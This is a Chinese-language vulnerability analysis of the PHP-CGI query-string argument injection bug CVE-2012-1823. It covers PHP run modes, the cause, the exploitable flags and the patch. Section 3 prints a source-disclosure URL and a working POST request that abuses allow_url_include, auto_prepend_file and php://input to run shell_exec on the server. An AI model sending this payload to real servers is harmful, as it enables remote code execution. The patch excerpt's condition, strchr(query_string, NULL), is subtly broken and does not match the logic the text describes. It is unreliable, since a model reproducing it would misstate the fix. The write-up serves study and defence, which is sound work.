CVE-2012-1823
字数 1116 2025-08-18 11:39:00
PHP-CGI 参数注入漏洞 (CVE-2012-1823) 深入分析
1. PHP 运行模式基础
在理解该漏洞前,需要先了解PHP的四种主要运行模式:
1.1 CGI (通用网关接口)
- 定义:客户端与Web服务器程序间传输数据的标准接口
- 特点:
- 独立于任何编程语言
- 每个用户请求都会创建单独的子进程
- 性能较差,近年较少使用
1.2 FastCGI
- 改进:CGI的升级版本,常驻型进程
- PHP实现:PHP-FPM (FastCGI Process Manager)
- 优势:
- 无需每次请求都重新初始化
- 避免重复解析php.ini和加载扩展
1.3 CLI (命令行接口)
- 用途:命令行环境下的PHP执行
- 特点:直接执行PHP文件,如Workerman框架使用
1.4 Module加载
- 适用服务器:主要针对Apache
- 特点:PHP作为Apache的子模块运行
2. 漏洞概述
2.1 影响范围
- PHP版本 < 5.3.12 或 < 5.4.2
- 仅影响以CGI模式运行的PHP
2.2 漏洞成因
- 根本原因:查询字符串(querystring)被错误地作为php-cgi参数解析
- RFC3875规定:当querystring不含未解码的"="时,应将其作为CGI参数
- PHP实现问题:
- 开发者为了方便测试,移除了参数限制
- 允许通过querystring传递命令行参数
3. 漏洞利用技术
3.1 可控命令行参数
-c:指定php.ini文件位置-n:不加载php.ini文件-d:指定配置项-b:启动fastcgi进程-s:显示文件源码-T:执行指定次数的文件-h和-?:显示帮助
3.2 基本利用方式
- 显示源码:使用
-s参数http://target/index.php?-s
3.3 高级利用方式
-
任意文件包含:通过
-d参数组合- 原理:
- 设置
allow_url_include=on - 使用
auto_prepend_file加载恶意内容 - 通过
php://input读取POST数据执行代码
- 设置
- 原理:
-
攻击示例:
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1 Host: target Content-Length: 30 <?php echo shell_exec("ls");?>
4. 漏洞修复方案
4.1 修复原理
- 获取并解码querystring
- 跳过所有空白字符
- 检查第一个字符是否为"-"
- 如果是则设置
skip_getopt标志 - 禁止获取命令行参数
- 如果是则设置
4.2 修复代码示例
if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string,NULL)) {
unsigned char *p;
decoded_query_string = strdup(query_string);
php_url_decode(decoded_query_string, strlen(decoded_query_string));
for (p = decoded_query_string; *p && *p <= ' '; p++) {
/* skip all leading spaces */
}
if(*p == '-') {
skip_getopt = 1;
}
free(decoded_query_string);
}
5. 总结与启示
- 漏洞本质:参数注入导致的代码执行
- 现代意义:虽然已修复,但仍具研究价值
- 安全启示:
- 严格验证用户输入
- 遵循RFC规范时需全面考虑安全影响
- 最小权限原则在API设计中至关重要
该漏洞展示了Web应用程序中参数处理不当可能导致的严重后果,强调了输入验证和安全配置的重要性。